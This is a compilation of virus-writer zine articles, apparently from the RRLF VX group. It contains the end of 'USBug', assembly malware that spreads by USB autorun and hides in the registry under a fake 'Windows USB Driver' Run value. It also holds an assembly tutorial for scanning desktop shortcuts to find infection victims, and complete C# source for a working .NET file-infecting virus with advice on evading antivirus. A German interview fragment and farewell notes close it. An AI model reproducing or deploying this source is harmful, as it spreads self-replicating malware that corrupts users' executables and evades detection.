;create it hidden 0 ;no template file mov ebx, eax ;save file handle in ebx mov dword [SystemDir], "[aut" ;prepare the buffer, use already but not used buffer mov dword [SystemDir + 4d], "orun" ;dword for dword mov dword [SystemDir + 8d], "]" ;finished first line mov byte [SystemDir + 9d], 13d ;linebreak mov byte [SystemDir + 10d], 10d ;13, 10 mov dword [SystemDir + 11d], "open" ;open our program on connect mov dword [SystemDir + 15d], "=dri" ;driver.exe mov dword [SystemDir + 19d], "ver." ;lstrcat my ass mov dword [SystemDir + 23d], "exe" ;"exe" + terminating zero invoke WriteFile,\ ;write buffer to file ebx,\ ;file handle SystemDir,\ ;the buffer with the autostart.inf content 26d,\ ;number of bytes to write RegHandle,\ ;put number of written bytes to nowhere 0 ;no overlapped invoke CloseHandle,\ ;close file ebx ;via handle ret ;ExitProcess for poor people Datas: ;here are the needed datas Copyleft db "USBug - DiA/RRLF" ;bow! OurPath rb 256d ;here we store the path of this program SystemDir rb 256d ;buffer for system directory RegRunKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0 ;reg autostart RegHandle dd ? ;store reg handle here RegValueName db "Windows USB Driver", 0;fake value name for registry AllDrives rb 105d ;all available drives: C:\0D:\0E:\00 WatchDrive db "_:\" ;here we store the drive where a usb stick can be plugged UsbFile db 14d ;buffer for "driver.exe" and "autostart.inf" + terminating zero section "usb!" import data readable writeable ;our import table :) library kernel, "kernel32.dll",\ advapi, "advapi32.dll" import kernel,\ GetModuleFileName, "GetModuleFileNameA",\ CopyFile, "CopyFileA",\ GetLogicalDriveStrings, "GetLogicalDriveStringsA",\ Sleep, "Sleep",\ SetFileAttributes, "SetFileAttributesA",\ CreateFile, "CreateFileA",\ WriteFile, "WriteFile",\ CloseHandle, "CloseHandle",\ GetSystemDirectory, "GetSystemDirectoryA" import advapi,\ RegOpenKeyEx, "RegOpenKeyExA",\ RegSetValueEx, "RegSetValueExA",\ RegCloseKey, "RegCloseKey"articles
Capture the desktop - scan .LNK files for victims DiA ______________________________________________________________ | | | Capture the desktop - scan .LNK files for victims |# | ************************************************* |# | |# | by DiA/rrlf (c)2004 |# | www.vx-dia.de.vu :: DiA_hates_machine@gmx.de |# |______________________________________________________________|# ############################################################### _Overview___________________________________ | | | 1. Intro |# | 2. LNK format |# | 3. How to get linked file, theory. |# | 4. How to get linked file, listing. |# | 5. How to get linked file, code. |# | 6. Play more with LNK files |# | 7. Outro |# |____________________________________________|# ############################################# Disclaimer ========== I am not responsible for anything that you do. If you use or rewrite this code you and only you are responsible for the things that you do. Take care! 1. Intro ======== Some people have a clean desktop other people have the total choas in the front of them. I speak about "Windows Shortcut Files" aka .LNK files. The shortcuts to applications, documents and other files. Most of the computer noobs use the desktop and the shortcuts very often, why not, the installation programs ask always to create a desktop shortcut. So this is a good way to find victims to infect (eg PE EXE files), if the shortcut file (.lnk) knows where the linked application or document is, we know it too (or must scan the .lnk file to know it). So lets go, find .lnk files, scan it and lets extract the full path of linked file! Have much fun with this little article... Thanks to BlueOwl for testing and his help. 2. LNK format ============= This is only a quick overview of the .lnk file format, for more information please read "The Windows Shortcut File Format as reverse-engineered by Jesse Hager". This is in my opinion the best document about .lnk files over the web. Overview: ********************************************************* Section | Size (hex) **********************|********************************** File Header | 4Ch ----------------------|---------------------------------- Shell Item ID List | ??h ;??h means that it doesn't have a static size ----------------------|---------------------------------- File Location Info | 22h ----------------------|---------------------------------- Local Volume Table | 10h + Volume Label (ASCIZ) ----------------------|---------------------------------- Network Volume Table | 14h + Network share name (ASCIZ) ----------------------|---------------------------------- Description String | ??h ----------------------|---------------------------------- Relative Path String | ??h ----------------------|---------------------------------- Working Directory | ??h ----------------------|---------------------------------- Commandline String | ??h ----------------------|---------------------------------- Icon Filename String | ??h ----------------------|---------------------------------- Extra stuff | ??h ********************************************************* File Header: ********************************************************* Offset | Size | Contents *******|*********|*************************************** 00h | 1 dword | 0000004Ch "L" identifies the .lnk file -------|---------|--------------------------------------- 04h | 16 byte | GUID of shortcut file -------|---------|--------------------------------------- 14h | 1 dword | Flags -------|---------|--------------------------------------- 18h | 1 dword | File Attributes -------|---------|--------------------------------------- 1Ch | 1 qword | Time 1 -------|---------|--------------------------------------- 24h | 1 qword | Time 2 -------|---------|--------------------------------------- 2Ch | 1 qword | Time 3 -------|---------|--------------------------------------- 34h | 1 dword | File Length -------|---------|--------------------------------------- 38h | 1 dword | Icon Number -------|---------|--------------------------------------- 3Ch | 1 dword | ShowWnd Value -------|---------|--------------------------------------- 40h | 1 dword | Hot Key -------|---------|--------------------------------------- 44h | 2 dword | Unknown, always Zero ********************************************************* Shell Item ID List: The Shell Item List section has no static size, it is variable. But thats not a hard problem, because first unsigned short integer (at 4Ch from file begin) indicates the total length of the whole Item List. We only have to read the size, and then add this size to 4Ch, then we are at "File Location Info" section. File Location Info: ********************************************************* Offset | Size | Contents *******|*********|*************************************** 00h | 1 dword | Total length of the structure -------|---------|--------------------------------------- 04h | 1 dword | Pointer to first offset at 1Ch -------|---------|--------------------------------------- 08h | 1 dword | Flags -------|---------|--------------------------------------- 0Ch | 1 dword | Offset of Local Volume Info -------|---------|--------------------------------------- 10h | 1 dword | Offset of Base Pathname (local) -------|---------|--------------------------------------- 14h | 1 dword | Offset of Network Volume Info -------|---------|--------------------------------------- 18h | 1 dword | Offset of Remaining Pathname ********************************************************* Local Volume Table: ********************************************************* Offset | Size | Contents *******|*********|*************************************** 00h | 1 dword | Length of the structure -------|---------|--------------------------------------- 04h | 1 dword | Type of Volume -------|---------|--------------------------------------- 08h | 1 dword | Volume Serial Number -------|---------|--------------------------------------- 0Ch | 1 dword | Offset of the Volume Name (10h) -------|---------|--------------------------------------- 10h | ASCIZ | Volume Label !!this is what we want!! ********************************************************* Network Volume Table: ********************************************************* Offset | Size | Contents *******|*********|*************************************** 00h | 1 dword | Length of the structure -------|---------|--------------------------------------- 04h | 1 dword | Unknown, always 02h?! -------|---------|--------------------------------------- 08h | 1 dword | Offset of the Network Share Name (14h) -------|---------|--------------------------------------- 0Ch | 1 dword | Unknown, always Zero? -------|---------|--------------------------------------- 10h | 1 dword | Unknown, always 20000h? -------|---------|--------------------------------------- 14h | ASCIZ | Network Share Name ********************************************************* Description String, Relative Path String, Working Directory, Commandline String, Icon Filename String and Extra stuff section are uninteresting for this tutorial. For better description read the article I recommend. I think Working Directory and Commandline String are interesting things for finding victims. But thats another story... 3. How to get linked file, theory. ================================== OK, now we know how the .lnk file is build. What we want is the "Volume Label" in the "Local Volume Table" section. But one (not big) problem, it have no static offset, because "Shell Item ID List" section size is variable. We have to read the size of this structure and add it to the "File Header" section, then we are at the "File Location Info" section. From this place it's not hard to get offset of "Volume Label". For better description a little graphik: ***************************** | File Begin 00h | ***************************** + ***************************** | File Header 4Ch | ***************************** = ***************************** | offset Shell Item ID List | ***************************** Now we have the offset to the "Shell Item ID List". First unsigned short integer indicates the size of this section. We read the size, now in this graphik called "ItemSize" (eg F5h or something). Go on: ***************************** | File Begin 00h | ***************************** + ***************************** | File Header 4Ch | ***************************** + ***************************** | ItemSize F5h | ***************************** = ***************************** | offset File Location Info | ***************************** Wow, we have the offset to the "File Location Info" section, now its not a hard way to get "Volume Label" (linked file). "File Location Info" and "Local Volume Table" have a static size. Appending to the "Local Volume Table" there is the string to the linked file ending with a zero. So lets get the offset of the first character at this string: ***************************** | File Begin 00h | ***************************** + ***************************** | File Header 4Ch | ***************************** + ***************************** | ItemSize F5h | ***************************** + ***************************** | File Location Info 22h | ***************************** + ***************************** | Local Volume Table 10h | ***************************** = ***************************** | offset to Volume Label | ***************************** Now we have the offset to our string. It is ASCIZero, so we only have to check byte by byte for an zero. If byte is a zero we have end of string, and as result the full path to the linked application. Good job, theoretical. :) Let's see listing and code... 4. How to get linked file, listing. =================================== Here is the "to do" list for scanning .lnk files on the desktop for victims: 1. Read desktop path from the registry 2. Check if path string is valid, if not make it valid 3. Change current directory to the desktop path 4. Find first .lnk file 5. No more files? then go to 17. 6. Map .lnk file to handle with it 7. Check if .lnk file is valid (first dword must be "L"000000h) 8. Get offset to "Shell Item ID List" section 9. Read size of the "Shell Item ID List" 10. Skip this section (File Header + Shell Item ID List size) 11. Get offset to "Volume Label" 12. Get end of the path string and copy the string 13. Check if extracted path is valid, if not goto 15. 14. Simple Messagebox (or infection routine :) 15. Unmap file, and close handles 16. Find next .lnk file, goto 5. 17. Exit 5. How to get linked file, code. ================================ ;==================================================================================== ; Example for scanning .lnk files for victims ; assemble it with FASM 1.56 (www.flatassembler.net) ; tested under WinXP SP1 ; ; coded by DiA/rrlf ; www.vx-dia.de.vu :: DiA_hates_machine@gmx.de ;==================================================================================== ; ;_____LNKscan.asm_____cut_____start__________________________________________________ include "%fasminc%\win32ax.inc" ;equates LNKscan: ;-----get desktop path from registry-------------------- invoke RegOpenKeyEx,\ ;open a reg key HKEY_CURRENT_USER,\ ;handle of the key DesktopSubkey,\ ;the subkey string 0,\ ;reserved KEY_ALL_ACCESS,\ ;security access mask RegHandle ;save here the handle cmp eax, 0 ;error? jnz ErrorMsg ;show error message invoke RegQueryValueEx,\ ;read a value dword [RegHandle],\ ;handle of open key DesktopValue,\ ;the value name "Desktop" 0,\ ;reserved Reg_SZ,\ ;we want a string DesktopPath,\ ;save here the desktop path DesktopSize ;size of reserved place cmp eax, 0 ;error? jnz ErrorMsg ;if so show a error message invoke RegCloseKey,\ ;we have the desktop path, close key dword [RegHandle] ;with the handle ;-----get desktop path from registry---end-------------- ;-----check if path is valid, if not make it valid------ mov edx, DesktopPath ;address of string GetZero: cmp byte [edx], 0 ;check for end of the string je GotZero ;we have the zero inc edx ;address + 1 jmp GetZero ;check next byte GotZero: dec edx ;address (,0) - 1 cmp byte [edx], "\" ;check for the slash je HaveSlash ;and dont place a slash inc edx ;jmp after last byte of the string mov byte [edx], "\" ;place the \ mov byte [edx + 1d], 0 ; "String",0 <- HaveSlash: ;-----check if path is valid, if not make it valid--end- ;-----change directory to desktop path------------------ invoke SetCurrentDirectory,\ ;change directory DesktopPath ;to the desktop path cmp eax, 0 ;error? je ErrorMsg ;no path, no victims ;-----change directory to desktop path---end------------ ;-----find first file in current directory-------------- invoke FindFirstFile,\ ;the well known api LnkFiles,\ ;search for *.lnk Win32FindData ;structure mov dword [FindHandle], eax ;save find handle FindMoreFiles: cmp eax, 0 ;error? no more files? je Exit ;exit the application ;-----find first file in current directory---end-------- ;-----map lnk file to handle with it-------------------- invoke CreateFile,\ ;open the file Win32FindData.cFileName,\ ;the lnk file GENERIC_READ + GENERIC_WRITE,\ ;read and write access FILE_SHARE_READ,\ ;open it when we can read 0,\ ;no security attributes OPEN_EXISTING,\ ;open only the file FILE_ATTRIBUTE_NORMAL,\ ;all attributes 0 ;no flag cmp eax, INVALID_HANDLE_VALUE ;error? je FindNextLNK ;find next lnk file mov dword [FileHandle], eax ;save file handle invoke CreateFileMapping,\ ;create the map dword [FileHandle],\ ;handle of file 0,\ ;no security attributes PAGE_READWRITE,\ ;read and write mapping 0,\ ;size high -> null 0,\ ;size low -> null = size of whole file 0 ;no mapping name cmp eax, 0 ;error?! je CloseFile ;close the file and search next mov dword [MapHandle], eax ;save mapping handle invoke MapViewOfFile,\ ;write map to address dword [MapHandle],\ ;handle of created map FILE_MAP_WRITE,\ ;read and write 0,\ ;high offset 0,\ ;low offset -> null, address is after call in eax 0 ;how much bytes should be mappep? 0-> all cmp eax, 0 ;error? je CloseMap ;if so close the map, search next file mov dword [MapAddress], eax ;save address in memory where file begins ;-----map lnk file to handle with it---end-------------- ;-----check if .lnk file is valid----------------------- mov esi, dword [MapAddress] ;filebegin now in esi cmp dword [esi], "L" ;first dword is a 4C000000h ? jne CloseMap ;close map, search more files ;-----check if .lnk file is valid---end----------------- ;-----get linked application---------------------------- add esi, 4Ch ;jump over header mov edi, ItemSize ;to copy size of Shell Item List movsb ;copy one byte, the size (esi->edi) JumpOverItem: cmp byte [ItemSize], 0d ;counter on zero? je JumpedOver ;then we jumped over the Shell Item List strcture inc esi ;address + 1 dec byte [ItemSize] ;counter - 1 jmp JumpOverItem ;next byte JumpedOver: add esi, 22h ;jump over FileLoationInfo add esi, 0Ch ;jump over Location Volume Table to the volume label (ASCIZ) mov edi, Victim ;destination is Victim (esi->edi) CopyVictimString: cmp byte [esi], 0 ;0 -> end of the string (ASCIZ[ero]) je HaveVictim ;time to infect :) movsb ;move one byte from esi to edi jmp CopyVictimString ;check again for end of string HaveVictim: mov dword [edi], 0 ;clear all after string ;-----get linked application---end---------------------- ;-----check if victim path is valid--------------------- mov edx, Victim ;get address cmp byte [edx + 1d], ":" ;check for the : (eg C:) jne CloseMap ;if not then close map, search next file GetVictimZero: cmp byte [edx], 0 ;check for end of string je HaveVictimZero ;we have it inc edx ;next byte jmp GetVictimZero ;search for zero HaveVictimZero: cmp byte [edx - 4d], "." ;check for dot (eg .exe) jne CloseMap ;search next ;-----check if victim path is valid---end--------------- ;******************************************************* ;*****HERE GO THE INFECTION***************************** ;******************************************************* invoke MessageBox,\ ;only show a messagebox that it works 0,\ ;now owner window Victim,\ ;show full path of victim Win32FindData.cFileName,\ ;caption: name of scanned .lnk file MB_ICONINFORMATION ;information 4 u ;******************************************************* ;*****HERE GO THE INFECTION***END*********************** ;******************************************************* ;-----unmap view of file-------------------------------- invoke UnmapViewOfFile,\ ;unmap the file dword [MapAddress] ;with the address ;-----unmap view of file---end-------------------------- ;-----close file and map handle------------------------- CloseMap: invoke CloseHandle,\ ;close dword [MapHandle] ;the map handle CloseFile: invoke CloseHandle,\ ;close the handle dword [FileHandle] ;file ;-----close file and map handle---end------------------- ;-----find next lnk file-------------------------------- FindNextLNK: invoke FindNextFile,\ ;next lnk file dword [FindHandle],\ ;via find handle Win32FindData ;and the structure jmp FindMoreFiles ;get more! ;-----find next lnk file---end-------------------------- ;-----get the hell out of here-------------------------- Exit: invoke ExitProcess,\ ;exit 0 ;current process ;-----get the hell out of here---end-------------------- ;-----error message------------------------------------- ErrorMsg: invoke MessageBox,\ ;shit, some error 0,\ ;no owner window "Sorry, can't set desktop directory!",\ ;text ".:: ERROR ::.",\ ;caption MB_ICONERROR ;scary error icon ;) jmp Exit ;get out of here ;-----error message---end------------------------------- ;-----data's-------------------------------------------- DesktopSubkey db "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders",0 DesktopValue db "Desktop",0 DesktopPath rb 255d DesktopSize db 255d RegHandle dd ? Reg_SZ db "REG_SZ",0 Win32FindData FINDDATA ;already defined by fasm LnkFiles db "*.lnk",0 FindHandle dd ? FileHandle dd ? MapHandle dd ? MapAddress dd ? ItemSize db ? Victim rb 255d ;-----data's---end--------------------------------------- ;-----api's import, fasm will do------------------------- data import ;only one section, fasm will do it :) library kernel32, "KERNEL32.DLL",\ user32, "USER32.DLL",\ advapi32, "ADVAPI32.DLL" import kernel32,\ SetCurrentDirectory, "SetCurrentDirectoryA",\ FindFirstFile, "FindFirstFileA",\ FindNextFile, "FindNextFileA",\ CreateFile, "CreateFileA",\ CreateFileMapping, "CreateFileMappingA",\ MapViewOfFile, "MapViewOfFile",\ UnmapViewOfFile, "UnmapViewOfFile",\ CloseHandle, "CloseHandle",\ ExitProcess, "ExitProcess" import advapi32,\ RegOpenKeyEx, "RegOpenKeyExA",\ RegQueryValueEx, "RegQueryValueExA",\ RegCloseKey, "RegCloseKey" import user32,\ MessageBox, "MessageBoxA" end data ;-----api's import, fasm will do---end------------------- ;_____LNKscan.asm_____cut_____end____________________________________________________ 6. Play more with LNK files =========================== OK, now we have hopefully get the linked file. Another interesting thing (maybe for worms) in the .lnk file is the "Network Share Name" in the "Network Volume Table". Its not very different from reading the "Volume Label", we only have to get the size of the "Shell Item ID List" and the size of the "Volume Label". Then add it all to get the offset to the "Network Volume Table". For this I have make a little graphik too: ***************************** | File Begin 00h | ***************************** + ***************************** | File Header 4Ch | ***************************** + ***************************** | ItemSize F5h | ;size variable ***************************** + ***************************** | File Location Info 22h | ***************************** + ***************************** | Local Volume Table 10h | ***************************** + ***************************** | size of Volume Label 0A | ;size variable ***************************** + ***************************** | Network Volume Table 14h | ***************************** = ***************************** | offset Network Share Name | ***************************** So, you see it's not hard when we known size of "Shell Item ID List" and the size of the "Volume Label" string. "Network Share Name" is also ASCIZ, means that the zero is the end of the string. 7. Outro ======== Thats the end my friend, the end of this article. Hope you learned something, or get some inspiration for other projects. If you have questions, greets or fucks feel free to send me a mail to DiA_hates_machine@gmx.de or make a entry in my guestbook at http://www.vx-dia.de.vu ! See you... DiA/rrlf - 27.11.2004articles
Using the .NET runtime compiler for file infection DiA ______________________________________________________________ | | | Using the .NET runtime compiler for file infection |# | »»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»» |# | |# | by DiA/RRLF (c)2006 |# | www.vx-dia.de.vu :: DiA_hates_machine@gmx.de |# |______________________________________________________________|# ############################################################### _Overview___________________________________ | | | 1_Intro |# | 2_The main idea |# | 3_My ideas, and what not worked |# | 4_How it can work |# | 5_Working source code |# | 6_Make it strong, further ideas |# | 7_Outro |# |____________________________________________|# ############################################# .Disclaimer »»»»»»»»»» The author of this article is NOT responsible for possible damages in case of informations you getting here. You do your own things at your own risk, please don't do anything stupid for your own security. This document is for educational purpose only. If you do NOT agree this, please close this for your own pleasure! .1_Intro »»»»»»» Hello and welcome to my second article on .NET and C#. Again I got bored of programming in C++. So, this is again a sidestep in the easy and simple world of .NET programming. In this tutorial I describe how to infect executables by using the .NET runtime compiler. Also I provide a workin source code with comments and ideas/hints how to make a real virus with this technique. .2_The main idea »»»»»»»»»»»»»»» When I played with the runtime compiler, I also checked out all the compiler options and parameters. Resource files (any kind, .jpg, .doc, .xxx) can be compiled within the source. And .NET provides a ResourceManager, wich makes reading resources in .NET files very easy. So the main idea is to compile the virus every time new when a victim was found, and the victim will be added as resource. Then on runtime, extract resource and run the host file. To act like this, the virus must have its own source, to compile. Since .NET executables (not abused) is like open source (use Reflector) we just don't really care. .3_My ideas, and what not worked »»»»»»»»»»»»»»»»»»»»»»»»»»»»»»» I got good ideas before I started coding this example virus, but it turned out that much don't work very well: Source as String - I wanted to store the source code of the virus as string in the virus body. It was much much work, and not really worth it. You have to care that your source is compiled right (care for " as example), string max length (in source) is 2046 bytes. Load host in memory - You can load a .NET assembly (a .exe for example), and invoke (execute) it in your current running application. This would be nice, cause you dont have to drop host on disk and run it. But it turned out that this technique is just fine for stand- alone application. Try to execute a application linked to .dll's or other needed files will cause problems or errors. Anyway, here is the source I tried, host file is in a byte array: //... Assembly HostAsm = Assembly.Load(HostArray); //byte array, .exe MethodInfo HostMethod = HostAsm.EntryPoint; //main HostMethod.Invoke(HostAsm.CreateInstance(HostMethod.Name), null); //execute //... Check for infection - To not re-infect files, we have to check for infection. Good, as .NET have a ResourceManager, and the already infected files must have a resource named like we want it. Try to read a byte, if no error occours the file seems to be infected, error means no resource named like we have, means not infected. But somehow I can't close the resource stream when the host resource doesn't exist. And if the stream is still open, we can't delete the victim file (nor recompile it). It's mystic that .NET allow to open a not existing stream, but it's not able to close this stream. Anyway, improve! .4_How it can work »»»»»»»»»»»»»»»»» So, much don't work as I wanted, improve is the keyword. And improve means going simple, and use already known techniques. This is how the example virus works: The virus source is also in the binary as resource, and will be read and drop to disc when needed. But first the host is read from the resource stream, dropped to disc, and executed. After termination the temporary host will be deleted. Here goes the infection (source code is already on disc). The virus find all .exe files in current directory, copy that file to <filename>.res, delete original victim, and compile the virus source (in same directory) to the .exe name of the victim. On compiling it add's the host binary and the virus source as resource. After compilation the virus writes it's infection marker in the PE header. If something goes wrong the temp resource file is copied back, to leave host uninfected. Before infecting the virus also checks if the found .exe is a .NET application and if the victim is already infected, by checking 4 bytes in the PE header (WIN32_VERSION). For more details please check the source code in the next section, there are also comments for helping you to understand what I mean. .5_Working source code »»»»»»»»»»»»»»»»»»»»» using System; using System.IO; using System.Reflection; using System.CodeDom.Compiler; using Microsoft.CSharp; using System.Resources; using System.Diagnostics; using System.Windows.Forms; //namespaces we use in this virus namespace Biskin //our namespace { class DiA //we use just this one class, simple virus { static void Main(string[] args) //our entry point { byte[] Marker = {0x42, 0x53, 0x4B, 0x69}; //"BSKi", our infection marker to prevent re-infection string SourceName = ""; //here we store the extracted source code, we define it here because we handle it in more try/catch then one Random RanNumber = new Random(DateTime.Now.Millisecond); //to generate random number, user current millisecond as seed Assembly ThisAsm = Assembly.GetExecutingAssembly(); //the own assembly, to extract the resources (host & source) try //we use some try/catch blocks in this virus, error handling in c# is nice { Stream ResStream = ThisAsm.GetManifestResourceStream("host.bin"); //get the stream for the resource "host.bin" string HostName = RanNumber.Next(99999).ToString() + ".scr"; //generate a temporary host name, just andom number and .scr extension FileStream HostTemp = new FileStream(HostName, FileMode.CreateNew, FileAccess.Write); //filestream to write from resource to file for(int i = 0; i < ResStream.Length; i++) //write byte by byte until we reach end of file { HostTemp.WriteByte(Convert.ToByte(ResStream.ReadByte())); //read byte from stream and write it to file } HostTemp.Close(); //close file stream ResStream.Close(); //close resource stream File.SetAttributes(HostName, FileAttributes.Hidden); //set the temp host to hidden string HostParameters = " "; //to store host's parameter, drag and drop or called via command line for(int i = 0; i < args.Length; i++) //for each argument (parameter) given to the virus { HostParameters += args[i] + " "; //append it to string and put a space between } Process.Start(HostName + HostParameters).WaitForExit(); //start temporary host and wait for it's termination File.Delete(HostName); //after termination, delete the temporary host } catch //error on reading resource or write/run temp host { MessageBox.Show("Can't execute application", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); //show fake error then } try //try to extract source code { Stream SrcStream = ThisAsm.GetManifestResourceStream("biskin.src"); //get stream to resource SourceName = RanNumber.Next(99999).ToString() + ".cs"; //create temporary source file name, random number FileStream SourceTemp = new FileStream(SourceName, FileMode.CreateNew, FileAccess.Write); //open filestream for write source to disk for(int i = 0; i < SrcStream.Length; i++) //write byte by byte { SourceTemp.WriteByte(Convert.ToByte(SrcStream.ReadByte())); //read byte from resource and write it to file } SourceTemp.Close(); //close file stream SrcStream.Close(); //close resource stream } catch //error on reading/writing source code { Application.Exit(); //no source, no infection is possible, exit virus } string[] Files = Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe"); //get all .exe files in current directory foreach(string Victim in Files) //for loop all files in the array { try{AssemblyName.GetAssemblyName(Victim);} //easy way to check if founded file is a .NET catch{continue;} //if no .NET executable, try next file byte[] IsMarker = new byte[4]; //array where we read the marker FileStream VictimFile = new FileStream(Victim, FileMode.Open, FileAccess.Read); //open potential vicitm for read for(int i = 0; i < 136; i++) //skip first bytes { VictimFile.ReadByte(); //by reading bytes to nothing } VictimFile.Read(IsMarker, 0, Marker.Length); //read now 4 bytes to array VictimFile.Close(); //and close file stream //check if readed bytes are our infection marker, if so try next file if(IsMarker[0] == Marker[0] && IsMarker[1] == Marker[1] && IsMarker[2] == Marker[2] && IsMarker[3] == Marker[3]) continue; string ResourceFile = Victim.Remove(Victim.Length - 3, 3) + "res"; //create temp file name for the host resource File.Copy(Victim, ResourceFile); //copy uninfected host to temporary file File.SetAttributes(ResourceFile, FileAttributes.Hidden); //and set it to hidden try{File.Delete(Victim);} //try to delete the victim catch { File.Delete(ResourceFile); //if it still run, delete temp resource file continue; //and leave it uninfected } try //action! try to compile virus source with source and host binary as resource { ICodeCompiler Compiler = new CSharpCodeProvider().CreateCompiler(); //create compiler CompilerParameters Parameter = new CompilerParameters(); //and it's parameters Parameter.GenerateExecutable = true; //we want to create a exe, sure Parameter.MainClass = "Biskin.DiA"; //the main class, we are now in it Parameter.OutputAssembly = Victim; //compile output, the victim name (we deleted it already) //some raw compiler commands, optimize output, make windows application (no command prompt shit) //and add via "/resource" the host binary (we copy it before) and the virus source (we extracted it before) Parameter.CompilerOptions = "/optimize /target:winexe /resource:" + ResourceFile + ",host.bin /resource:" + SourceName + ",biskin.src"; foreach(Assembly Asm in AppDomain.CurrentDomain.GetAssemblies()) //lazy style { Parameter.ReferencedAssemblies.Add(Asm.Location); //just reference all assemblies we found, so we are sure our virus has all to compile } if(Compiler.CompileAssemblyFromFile(Parameter, SourceName).Errors.Count == 0) //compile! and check if no compile errors { VictimFile = new FileStream(Victim, FileMode.Open, FileAccess.ReadWrite); //open the freshly compiled executable for(int i = 0; i < 136; i++) //skip first bytes { VictimFile.ReadByte(); //by read bytes to nothing } VictimFile.Write(Marker, 0, Marker.Length); //then write our infection marker to WIN32_VERSION in the PE header (unused space) VictimFile.Close(); //close file stream } else //argh, compiler error { File.Copy(ResourceFile, Victim); //copy resource file back to real name, and leave it uninfected } File.Delete(ResourceFile); //delete reosurce file and handle next file } catch{} //any error is redirected here, just do nothing } try{File.Delete(SourceName);} //try to delete source file, should work catch{File.SetAttributes(SourceName, FileAttributes.Hidden);} //if it's still in use just set it to hidden } } } //done. .6_Make it strong, further ideas »»»»»»»»»»»»»»»»»»»»»»»»»»»»»»» Sure, the provided source code is just a proof of concept, and not done to stay in the wild or anything like that. Here are some add's you have to make if you want make this virus (or your virus) a good one: Where is my icon? The icon of the compiled virus (within host) is the default windows application icon, cause we didn't give the compiler any icon. To prevent this, just extract the icon from the potential victim (google hint: Code Corner - Tools - Icon Browser), and give it as compiler parameter "/win32icon:filename". After that delete the extracted icon. And all is fine. And where are my file properties? Also the compiled file don't have any properties, such as Name, Copyright, Trademark, etc. This is also very simple issue, properties of the file can be read like this: //... foreach(object Attribute in Assembly.LoadFrom("Victim.exe").GetCustomAttributes(false)) //check all attributes { AssemblyCopyrightAttribute Copyleft = Attribute as AssemblyCopyrightAttribute; //as copyright attribute, as example if(Copyleft != null) //found copyright attribute? { string OldCopyright = Copyleft.Copyright; //the copyright to string } } //others can be read in the same way //... Then write in the virus source (after used namespaces, before own namespace) this (don't foget namespaces System.Reflection and System.Runtime.CompilerServices): //... [assembly: AssemblyCopyright(OldCopyright)] //... Other assembly informations are AssemblyTitle, AssemblyDescription, AssemblyConfiguration, AssemblyCompany, AssemblyProduct, AssemblyTrademark, AssemblyCulture. Filetime? Also take care for filetime, read filetime of potential victim and set it after compilation again. Easy, huh? Detected in < 1min? This is not a hard take for AV people, cause the plain source is stored. So a good idea is to encrypt the source code resource. Maybe also with a changing key. .NET provides also encryption classes like DES or even TripleDES. Also you can encrypt the host resource, so it can't be easiely cut out of the virus and be restored. More More More! Now it's on you, imagin you are at source level, so polymorphism is not a hard take, also adding garbage is a good idea. Encrypt strings, split source to 100s classes, etc etc. Use your brain. .7_Outro »»»»»»» Hope you liked this article and the idea how to use the .NET runtime compiler for file infection. If you do anything in this way, let me know, DiA_hates_machine@gmx.de. Next time friends, bye. DiA/RRLF - 23.08.2006articles
That's it DiA That's it. With the RRLF Best Of I resign from the VX scene. I had a blast meeting very nice people, virtual or even real life. You all know who you are! I wish you all luck in the future, keep kicking asses. I will regularly check news about viruses etc. and I hope that you people, the left VX scene, and new dudes will bring a smile in my face by providing innovative ideas and contrast from all that commercial criminal software shit. Also I will still regularly check my mail DiA_hates_machine@gmx.de. Drop some lines if you feel like! Thanks, DiA - RRLF Rockstarsarts
A Bath disk0rdia
arts
Dare a Step out of the Norm disk0rdia
arts
Rotted Dolomite
articles
Interview mit Necronomikon dr.g0nZo dr.g0nZo: Hi Necronomikon! Wie gehts so? Kannst du uns sagen, wo du zur Zeit wohnst, und wie alt du bist? Necronomikon: Hi ppl,mir gehts zur Zeit bestens (mit einigen Ausnahmen,aber es wird schon wieder)! Zeit wohne ich in Niedersachsen (Germany;)) und bin 19Jahre alt. dr.g0nZo: Was machst du so, gehst du noch zur Schule? Necronomikon: Seit gut einem halben Jahr besuche ich eine Berufsschule in meiner Stadt (mal sehen was es bringt!?) dr.g0nZo: Gibts irgendwelche Stammlokale oder Discos in die du gehst? Necronomikon: Da gibt es einige in der Stadt zum Beispiel das Flax, das Malibu, Schiller Pub, das Strohhalm in denen ich mich am Wochenende aufhalte, wenn ich nicht grade Discos besuche wie das Bierdorf in meiner Stadt oder ausserhalb das Novum, Fun2000 (auch andere in "H"!), JollyJoker, Inkognito und andere.... (Na! Wisst ihr wo ich herkomme!???) dr.g0nZo: Du warst mal Member bei uns, warum bist du wieder ausgetreten? Angeblich hast du Deutschland auch mal verlassen, Probleme mit dem Staat? Necronomikon: Das ich Member bei euch war ist richtig, bin ausgetreten, da ich zu der Zeit viel zu Tun hatte und mir nicht viel zum Coden übrig blieb, wollte nicht als Faulermember aus der Group gekickt werden, wie bei DPS (die nicht wissen das ein Virus manchmal länger braucht als nur 10 mins.!), deswegen stieg ich erstmal aus um mich mit anderen Sachen zu befassen! (Freunde, etc...) dr.g0nZo: Hast du Erfahrung mit Drogen? Necronomikon: Drogen! Früher ja, auf Parties und in Discos (PartyStuff;))! Hab weniger Konsumiert, mehr verkauft! Jetzt so gut wie gar nix mehr, da es dich als Sportler eher negativ beeinflusst!!! dr.g0nZo: Was hat dich dazu bewegt in die VX Szene einzusteigen? Necronomikon: Hmmm!? Es fing an als Viren, wie "Melissa" durch die Medien gingen (damals einer der am weitesten, schnellsten, etc verbreiteten Makroviren), im Internet fand ich auf einer Page den Quellcode und sonst auch anders nützliche Tools, die aus der VX-Szene stammen. Habe eine Menge mit den Tools und Quellcodes experimentiert und dazu gelernt, bis ich eines Tages andere VXer im IRC antraff... dr.g0nZo: Wie hast du das Programmieren gelernt, und was für Programmiersprachen kannst du? Necronomikon: Gelernt durch Bücher, Tutorials und andere Leute aus dem IRC! Basic's (Qbasic - power basic, bisschen WordBasic, Visual basic, VBA and VBS), HTML, assembler und ein paar Script languages. Aber zum grössten Teil benutze ich win32asm. dr.g0nZo: Welche Art Virii schreibst du hauptsächlich? Necronomikon: Ich schrieb schon alles mögliche an Viren unter win32asm, VBx (...HTML;))... dr.g0nZo: Bist du momentan in einer Group, wenn ja, welcher? 